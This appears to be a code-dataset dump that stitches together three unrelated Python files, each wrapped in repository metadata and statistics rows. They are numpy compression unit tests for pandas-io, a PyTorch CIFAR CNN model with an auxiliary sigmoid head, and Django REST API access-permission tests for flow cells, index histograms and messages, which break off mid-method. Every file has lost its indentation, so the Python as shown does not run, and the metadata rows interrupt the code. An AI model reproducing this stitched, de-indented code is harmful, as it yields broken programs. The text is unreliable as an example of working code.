2019-05-11T22:09:35.000Z
|
2019-05-11T22:09:35.000Z
|
pandasio/utils/tests/test_numpy_decompression.py
|
BrianKopp/pandas-io
|
cbab1146289a6fdbbd2ff7e3aaa55ff64e228fb7
|
[
"MIT"
] | null | null | null |
pandasio/utils/tests/test_numpy_decompression.py
|
BrianKopp/pandas-io
|
cbab1146289a6fdbbd2ff7e3aaa55ff64e228fb7
|
[
"MIT"
] | null | null | null |
from pandasio.utils.exceptions import *
from pandasio.utils.numpy_compression import compress_array, decompress_array
import unittest
import numpy as np
class TestNumpyDecompression(unittest.TestCase):
def test_decompress_array_errors(self):
data = np.array([1, -2, 3, 4], dtype=np.int32)
with self.assertRaises(CompressionModeInvalidError):
decompress_array(data, 'bad_mode', None)
return
def test_unable_to_decompress_type(self):
with self.assertRaises(CompressionError):
decompress_array(np.array(['x'], dtype='U1'), 'e', None)
return
def test_decompress_data_zero(self):
data = np.array([1, 2, 3, 4], dtype=np.uint32)
compression_result = compress_array(data, 'e')
dec_array = decompress_array(compression_result.numpy_array, 'e', compression_result.reference_value)
self.assertEqual(4, dec_array.size)
self.assertEqual(1, dec_array[0])
self.assertEqual(2, dec_array[1])
self.assertEqual(3, dec_array[2])
self.assertEqual(4, dec_array[3])
compression_result = compress_array(data, 'm')
dec_array = decompress_array(compression_result.numpy_array, 'm', compression_result.reference_value)
self.assertEqual(4, dec_array.size)
self.assertEqual(1, dec_array[0])
self.assertEqual(2, dec_array[1])
self.assertEqual(3, dec_array[2])
self.assertEqual(4, dec_array[3])
return
def test_decompress_data_one(self):
data = np.array([-4, -2, 0, 2000], dtype=np.int16)
compression_result = compress_array(data, 'e')
dec_array = decompress_array(compression_result.numpy_array, 'e', compression_result.reference_value)
self.assertEqual(4, dec_array.size)
self.assertEqual(-4, dec_array[0])
self.assertEqual(-2, dec_array[1])
self.assertEqual(0, dec_array[2])
self.assertEqual(2000, dec_array[3])
compression_result = compress_array(data, 'm')
dec_array = decompress_array(compression_result.numpy_array, 'm', compression_result.reference_value)
self.assertEqual(4, dec_array.size)
self.assertEqual(-4, dec_array[0])
self.assertEqual(-2, dec_array[1])
self.assertEqual(0, dec_array[2])
self.assertEqual(2000, dec_array[3])
return
def test_compress_data_two(self):
data = np.array([5.2, 0.8, 3.1415, 8], dtype=np.float64)
compression_result = compress_array(data, 'm')
dec_array = decompress_array(compression_result.numpy_array, 'm', compression_result.reference_value)
self.assertEqual(4, dec_array.size)
self.assertEqual(5.2, dec_array[0])
self.assertEqual(0.8, dec_array[1])
self.assertAlmostEqual(3.1415, dec_array[2])
self.assertEqual(8, dec_array[3])
return
def test_compress_data_three(self):
data = np.array([2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048,
4096, 8192, 16384, 32768, 65536], dtype=np.uint64)
compression_result = compress_array(data, 'e')
dec_array = decompress_array(compression_result.numpy_array, 'e', compression_result.reference_value)
self.assertEqual(16, dec_array.size)
self.assertEqual(2, dec_array[0])
self.assertEqual(4, dec_array[1])
self.assertEqual(8, dec_array[2])
self.assertEqual(16, dec_array[3])
self.assertEqual(32, dec_array[4])
self.assertEqual(64, dec_array[5])
self.assertEqual(128, dec_array[6])
self.assertEqual(256, dec_array[7])
self.assertEqual(512, dec_array[8])
self.assertEqual(1024, dec_array[9])
self.assertEqual(2048, dec_array[10])
self.assertEqual(4096, dec_array[11])
self.assertEqual(8192, dec_array[12])
self.assertEqual(16384, dec_array[13])
self.assertEqual(32768, dec_array[14])
self.assertEqual(65536, dec_array[15])
compression_result = compress_array(data, 'm')
dec_array = decompress_array(compression_result.numpy_array, 'm', compression_result.reference_value)
self.assertEqual(16, dec_array.size)
self.assertEqual(2, dec_array[0])
self.assertEqual(4, dec_array[1])
self.assertEqual(8, dec_array[2])
self.assertEqual(16, dec_array[3])
self.assertEqual(32, dec_array[4])
self.assertEqual(64, dec_array[5])
self.assertEqual(128, dec_array[6])
self.assertEqual(256, dec_array[7])
self.assertEqual(512, dec_array[8])
self.assertEqual(1024, dec_array[9])
self.assertEqual(2048, dec_array[10])
self.assertEqual(4096, dec_array[11])
self.assertEqual(8192, dec_array[12])
self.assertEqual(16384, dec_array[13])
self.assertEqual(32768, dec_array[14])
self.assertEqual(65536, dec_array[15])
return
def test_compress_tiny_arrays(self):
self.assertEqual(1, compress_array(np.array([1], dtype=np.uint8), 'm').itemsize)
self.assertEqual(1, compress_array(np.array([1], dtype=np.int8), 'm').itemsize)
self.assertEqual(2, compress_array(np.array([1], dtype=np.float16), 'm').itemsize)
self.assertEqual(2, compress_array(np.array([1], dtype=np.uint16), 'e').itemsize)
return
if __name__ == '__main__':
unittest.main()
| 44.479339
| 109
| 0.665923
| 710
| 5,382
| 4.829577
| 0.132394
| 0.153981
| 0.051327
| 0.060951
| 0.794692
| 0.775445
| 0.764363
| 0.764363
| 0.747157
| 0.747157
| 0
| 0.070842
| 0.207915
| 5,382
| 120
| 110
| 44.85
| 0.733521
| 0
| 0
| 0.703704
| 0
| 0
| 0.007061
| 0
| 0
| 0
| 0
| 0
| 0.601852
| 1
| 0.064815
| false
| 0
| 0.037037
| 0
| 0.175926
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ac7d29fc517339b9c34c060df4b9a400fbb387e1
| 4,566
|
py
|
Python
|
NN_models/.ipynb_checkpoints/CIFAR10-checkpoint.py
|
lfpc/Uncertainty_Estimation
|
0acca2000f76352ac7382a832fd0b4ef3b7cd115
|
[
"MIT"
] | 2
|
2021-12-17T18:20:05.000Z
|
2021-12-17T18:29:05.000Z
|
NN_models/.ipynb_checkpoints/CIFAR100-checkpoint.py
|
lfpc/Uncertainty_Estimation
|
0acca2000f76352ac7382a832fd0b4ef3b7cd115
|
[
"MIT"
] | null | null | null |
NN_models/.ipynb_checkpoints/CIFAR100-checkpoint.py
|
lfpc/Uncertainty_Estimation
|
0acca2000f76352ac7382a832fd0b4ef3b7cd115
|
[
"MIT"
] | null | null | null |
# Define model
import torch
from torch import nn
class Model_CNN(nn.Module):
"""CNN."""
def __init__(self):
"""CNN Builder."""
super().__init__()
self.conv_layer = nn.Sequential(
# Conv Layer block 1
nn.Conv2d(in_channels=3, out_channels=int(32), kernel_size=3, padding=1),
nn.BatchNorm2d(int(32)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(32), out_channels=int(64), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
# Conv Layer block 2
nn.Conv2d(in_channels=int(64), out_channels=int(128), kernel_size=3, padding=1),
nn.BatchNorm2d(int(128)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(128), out_channels=int(128), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Dropout2d(p=0.2),
# Conv Layer block 3
nn.Conv2d(in_channels=int(128), out_channels=int(256), kernel_size=3, padding=1),
nn.BatchNorm2d(int(256)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(256), out_channels=int(256), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
)
self.fc_x_layer = nn.Sequential(
nn.Dropout(p=0.2),
nn.Linear(4096, int(1024)),
nn.ReLU(inplace=True),
nn.Linear(int(1024), int(512)),
nn.ReLU(inplace=True),
nn.Dropout(p=0.2),
nn.Linear(int(512), 10),
nn.LogSoftmax(dim=1)
)
def forward(self, x):
"""Perform forward."""
# conv layers
x = self.conv_layer(x)
# flatten
x = x.view(x.size(0), -1)
# fc layer
#x = self.fc_layer(x)
y = self.fc_x_layer(x)
y = y.float()
return y
# Define model
class Model_CNN_with_g(nn.Module):
"""CNN."""
def __init__(self):
"""CNN Builder."""
super().__init__()
self.conv_layer = nn.Sequential(
# Conv Layer block 1
nn.Conv2d(in_channels=3, out_channels=int(32), kernel_size=3, padding=1),
nn.BatchNorm2d(int(32)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(32), out_channels=int(64), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
# Conv Layer block 2
nn.Conv2d(in_channels=int(64), out_channels=int(128), kernel_size=3, padding=1),
nn.BatchNorm2d(int(128)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(128), out_channels=int(128), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Dropout2d(p=0.2),
# Conv Layer block 3
nn.Conv2d(in_channels=int(128), out_channels=int(256), kernel_size=3, padding=1),
nn.BatchNorm2d(int(256)),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels=int(256), out_channels=int(256), kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
)
self.fc_x_layer = nn.Sequential(
nn.Dropout(p=0.2),
nn.Linear(4096, int(1024)),
nn.ReLU(inplace=True),
nn.Linear(int(1024), int(512)),
nn.ReLU(inplace=True),
nn.Dropout(p=0.2),
nn.Linear(int(512), 10),
nn.LogSoftmax(dim=1)
)
self.fc_g_layer = nn.Sequential(
nn.Dropout(p=0.2),
nn.Linear(4096, int(1024)),
nn.ReLU(inplace=True),
nn.Linear(int(1024), int(512)),
nn.ReLU(inplace=True),
nn.Dropout(p=0.2),
nn.Linear(int(512), 1),
nn.Sigmoid()
)
def forward(self, x):
"""Perform forward."""
# conv layers
x = self.conv_layer(x)
# flatten
x = x.view(x.size(0), -1)
# fc layer
#x = self.fc_layer(x)
y = self.fc_x_layer(x)
self.g = self.fc_g_layer(x)
#x = torch.stack((self.x1,self.g))
self.g = (self.g).float()
y = y.float()
return y
def get_g(self):
return self.g
| 29.082803
| 93
| 0.521025
| 608
| 4,566
| 3.779605
| 0.108553
| 0.105309
| 0.101828
| 0.133159
| 0.923847
| 0.911662
| 0.911662
| 0.911662
| 0.911662
| 0.911662
| 0
| 0.074269
| 0.333552
| 4,566
| 157
| 94
| 29.082803
| 0.680907
| 0.074682
| 0
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.052083
| false
| 0
| 0.020833
| 0.010417
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3bc7c96f58e9fec2ca7f8903b58c48bcdb303f0e
| 35,938
|
py
|
Python
|
flowcells/tests/test_api_views.py
|
bihealth/digestiflow-server
|
298c53f95dbf56e7be0d0b8bcceacabc21257d5f
|
[
"MIT"
] | 13
|
2019-11-27T19:12:15.000Z
|
2021-12-01T21:32:18.000Z
|
flowcells/tests/test_api_views.py
|
bihealth/digestiflow-server
|
298c53f95dbf56e7be0d0b8bcceacabc21257d5f
|
[
"MIT"
] | 60
|
2019-03-27T14:43:19.000Z
|
2022-03-22T09:12:53.000Z
|
flowcells/tests/test_api_views.py
|
bihealth/digestiflow-server
|
298c53f95dbf56e7be0d0b8bcceacabc21257d5f
|
[
"MIT"
] | 3
|
2020-11-09T07:08:42.000Z
|
2022-02-09T11:37:54.000Z
|
# TODO: check timeline events
import json
from test_plus.test import APITestCase
from barcodes.tests import SetupBarcodeSetMixin
from digestiflow.test_utils import SetupUserMixin, SetupProjectMixin, AuthenticatedRequestMixin
from filesfolders.models import File
from sequencers.tests import SetupSequencingMachineMixin
from ..models import FlowCell, LaneIndexHistogram, Message
from ..tests import SetupFlowCellMixin
class FlowCellListCreateApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for creation of barcode sets using REST API"""
url_name = "api:flowcells"
def testGet(self):
"""Test that querying API for the machine list works (with super user)"""
response = self.runGet(self.root)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 1)
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(user)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(user)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 1)
def testPost(self):
"""Test that creating machine via API works (with super user)"""
response = self.runPost(self.root, data=self.flow_cell_api_post_data)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
def testPostAccessDenied(self):
"""Test that creating flow cell via API is denied if role assignment is missing"""
self.runPost(None, data=self.flow_cell_api_post_data)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPost(user, data=self.flow_cell_api_post_data)
self.response_403()
def testPostAccessAllowed(self):
"""Test that creating flow cell via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPost(user, data=self.flow_cell_api_post_data)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
FlowCell.objects.filter(sodar_uuid=data["sodar_uuid"]).delete()
class FlowCellUpdateApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for detail view, update, delete of barcode sets using REST API"""
url_name = "api:flowcells"
def testGet(self):
"""Test that querying API for the barcode set list works (with super user)"""
response = self.runGet(self.root, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.flow_cell.sodar_uuid))
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None, flowcell=self.flow_cell.sodar_uuid)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(user)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(user, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.flow_cell.sodar_uuid))
def testUpdate(self):
"""Test that creating flow cell set via API works (with super user)"""
response = self.runPut(
self.root, flowcell=self.flow_cell.sodar_uuid, data=self.flow_cell_api_post_data
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["label"], self.flow_cell_api_post_data["label"])
def testUpdateAccessDenied(self):
"""Test that creating flow cell set via API is denied if role assignment is missing"""
self.runPut(None, flowcell=self.flow_cell.sodar_uuid, data=self.flow_cell_api_post_data)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPut(user, flowcell=self.flow_cell.sodar_uuid, data=self.flow_cell_api_post_data)
self.response_403()
def testUpdateAccessAllowed(self):
"""Test that creating flow cell set via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPut(
user, flowcell=self.flow_cell.sodar_uuid, data=self.flow_cell_api_post_data
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["label"], self.flow_cell_api_post_data["label"])
def testDelete(self):
"""Test that creating flow cell set via API works (with super user)"""
self.assertEqual(FlowCell.objects.count(), 1)
response = self.runDelete(self.root, flowcell=self.flow_cell.sodar_uuid)
self.response_204(response)
self.assertEqual(FlowCell.objects.count(), 0)
def testDeleteAccessDenied(self):
"""Test that creating flow cell via API is denied if role assignment is missing"""
self.assertEqual(FlowCell.objects.count(), 1)
self.runDelete(None, flowcell=self.flow_cell.sodar_uuid)
self.assertEqual(FlowCell.objects.count(), 1)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.assertEqual(FlowCell.objects.count(), 1)
self.runDelete(user, flowcell=self.flow_cell.sodar_uuid)
self.assertEqual(FlowCell.objects.count(), 1)
self.response_403()
def testDeleteAccessAllowed(self):
"""Test that creating flow cell via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
FlowCell.objects.all().delete()
flow_cell = self.make_flow_cell()
self.assertEqual(FlowCell.objects.count(), 1)
response = self.runDelete(user, flowcell=flow_cell.sodar_uuid)
self.response_204(response)
self.assertEqual(FlowCell.objects.count(), 0)
class FlowCellResolveApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for resolving a flow cell by instrument name, run no, and flowcell name"""
url_name = "api:flowcells-resolve"
def testGet(self):
"""Test that resolving flow cell works (as super user)"""
response = self.runGet(
self.root,
instrument_id=self.hiseq2000.vendor_id,
run_no=self.flow_cell.run_number,
flowcell_id=self.flow_cell.vendor_id,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.flow_cell.sodar_uuid))
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(
None,
instrument_id=self.flow_cell.sequencing_machine.vendor_id,
run_no=self.flow_cell.run_number,
flowcell_id=self.flow_cell.vendor_id,
)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(
user,
instrument_id=self.flow_cell.sequencing_machine.vendor_id,
run_no=self.flow_cell.run_number,
flowcell_id=self.flow_cell.vendor_id,
)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(
user,
instrument_id=self.flow_cell.sequencing_machine.vendor_id,
run_no=self.flow_cell.run_number,
flowcell_id=self.flow_cell.vendor_id,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.flow_cell.sodar_uuid))
class LaneIndexHistogramListCreateApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for creation of lane index histogram entries using REST API"""
url_name = "api:indexhistos"
def testGet(self):
"""Test that querying API for the lane index histograms works (with super user)"""
response = self.runGet(self.root, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 4)
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None, flowcell=self.flow_cell.sodar_uuid)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(user, flowcell=self.flow_cell.sodar_uuid)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(user, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 4)
def testPost(self):
"""Test that creating lane index histograms via API works (with super user)"""
response = self.runPost(
self.root, flowcell=self.flow_cell.sodar_uuid, data=self.lane_index_histo_api_post_data
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
def testPostAccessDenied(self):
"""Test that creating lane index histograms via API is denied if role assignment is missing"""
self.runPost(
None, flowcell=self.flow_cell.sodar_uuid, data=self.lane_index_histo_api_post_data
)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPost(
user, flowcell=self.flow_cell.sodar_uuid, data=self.lane_index_histo_api_post_data
)
self.response_403()
def testPostAccessAllowed(self):
"""Test that creating lane index histograms via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPost(
user, flowcell=self.flow_cell.sodar_uuid, data=self.lane_index_histo_api_post_data
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
LaneIndexHistogram.objects.filter(sodar_uuid=data["sodar_uuid"]).delete()
class LaneIndexHistogramUpdateDeleteApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for update and delete action using REST API"""
url_name = "api:indexhistos"
def testGet(self):
"""Test that querying API for the index histograms works (with super user)"""
response = self.runGet(
self.root,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.histograms[0].sodar_uuid))
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(
None, flowcell=self.flow_cell.sodar_uuid, indexhistogram=self.histograms[0].sodar_uuid
)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(
user,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(
user,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.histograms[0].sodar_uuid))
def testUpdate(self):
"""Test that creating index histograms via API works (with super user)"""
response = self.runPut(
self.root,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
data=self.lane_index_histo_api_post_data,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sample_size"], self.lane_index_histo_api_post_data["sample_size"])
def testUpdateAccessDenied(self):
"""Test that creating index histograms via API is denied if role assignment is missing"""
self.runPut(
None,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
data=self.lane_index_histo_api_post_data,
)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
data=self.lane_index_histo_api_post_data,
)
self.response_403()
def testUpdateAccessAllowed(self):
"""Test that creating index histograms via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
data=self.lane_index_histo_api_post_data,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(
data["sample_size"], self.lane_index_histo_api_post_data["sample_size"]
)
def testDelete(self):
"""Test that creating index histograms via API works (with super user)"""
self.assertEqual(LaneIndexHistogram.objects.count(), 4)
response = self.runDelete(
self.root,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
)
self.response_204(response)
self.assertEqual(LaneIndexHistogram.objects.count(), 3)
def testDeleteAccessDenied(self):
"""Test that creating index histograms via API is denied if role assignment is missing"""
self.assertEqual(LaneIndexHistogram.objects.count(), 4)
self.runDelete(
None, flowcell=self.flow_cell.sodar_uuid, indexhistogram=self.histograms[0].sodar_uuid
)
self.assertEqual(LaneIndexHistogram.objects.count(), 4)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.assertEqual(LaneIndexHistogram.objects.count(), 4)
self.runDelete(
user,
flowcell=self.flow_cell.sodar_uuid,
indexhistogram=self.histograms[0].sodar_uuid,
)
self.assertEqual(LaneIndexHistogram.objects.count(), 4)
self.response_403()
def testDeleteAccessAllowed(self):
"""Test that creating index histograms via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
LaneIndexHistogram.objects.all().delete()
index_histogram = self.make_index_histogram()
self.assertEqual(LaneIndexHistogram.objects.count(), 1)
response = self.runDelete(
user, flowcell=self.flow_cell.sodar_uuid, indexhistogram=index_histogram.sodar_uuid
)
self.response_204(response)
self.assertEqual(LaneIndexHistogram.objects.count(), 0)
class MessageListCreateApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for creation of messages using REST API"""
url_name = "api:messages"
def testGet(self):
"""Test that querying API for the messages works (with super user)"""
response = self.runGet(self.root, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 2)
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None, flowcell=self.flow_cell.sodar_uuid)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(user, flowcell=self.flow_cell.sodar_uuid)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(user, flowcell=self.flow_cell.sodar_uuid)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 2)
def testPost(self):
"""Test that creating messages via API works (with super user)"""
response = self.runPost(
self.root, flowcell=self.flow_cell.sodar_uuid, data=self.sent_message_api_post_data
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
def testPostAccessDenied(self):
"""Test that creating messages via API is denied if role assignment is missing"""
self.runPost(None, flowcell=self.flow_cell.sodar_uuid, data=self.sent_message_api_post_data)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPost(
user, flowcell=self.flow_cell.sodar_uuid, data=self.sent_message_api_post_data
)
self.response_403()
def testPostAccessAllowed(self):
"""Test that creating messages via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPost(
user, flowcell=self.flow_cell.sodar_uuid, data=self.sent_message_api_post_data
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
Message.objects.filter(sodar_uuid=data["sodar_uuid"]).delete()
class MessageUpdateDeleteApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for update and delete action using REST API"""
url_name = "api:messages"
def testGet(self):
"""Test that querying API for messages works (with super user)"""
response = self.runGet(
self.root, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.sent_message.sodar_uuid))
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(
user, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(
user, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.sent_message.sodar_uuid))
def testUpdate(self):
"""Test that updating messages via API works (with super user)"""
response = self.runPut(
self.root,
flowcell=self.flow_cell.sodar_uuid,
message=self.sent_message.sodar_uuid,
data=self.sent_message_api_post_data,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["subject"], self.sent_message_api_post_data["subject"])
def testUpdateAccessDenied(self):
"""Test that updating messages via API is denied if role assignment is missing"""
self.runPut(
None,
flowcell=self.flow_cell.sodar_uuid,
message=self.sent_message.sodar_uuid,
data=self.sent_message_api_post_data,
)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.sent_message.sodar_uuid,
data=self.sent_message_api_post_data,
)
self.response_403()
def testUpdateAccessAllowed(self):
"""Test that updating messages via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.sent_message.sodar_uuid,
data=self.sent_message_api_post_data,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["subject"], self.sent_message_api_post_data["subject"])
def testDelete(self):
"""Test that deleting messages via API works (with super user)"""
self.assertEqual(Message.objects.count(), 2)
response = self.runDelete(
self.root, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.response_204(response)
self.assertEqual(Message.objects.count(), 1)
def testDeleteAccessDenied(self):
"""Test that deleting messages via API is denied if role assignment is missing"""
self.assertEqual(Message.objects.count(), 2)
self.runDelete(
None, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.assertEqual(Message.objects.count(), 2)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.assertEqual(Message.objects.count(), 2)
self.runDelete(
user, flowcell=self.flow_cell.sodar_uuid, message=self.sent_message.sodar_uuid
)
self.assertEqual(Message.objects.count(), 2)
self.response_403()
def testDeleteAccessAllowed(self):
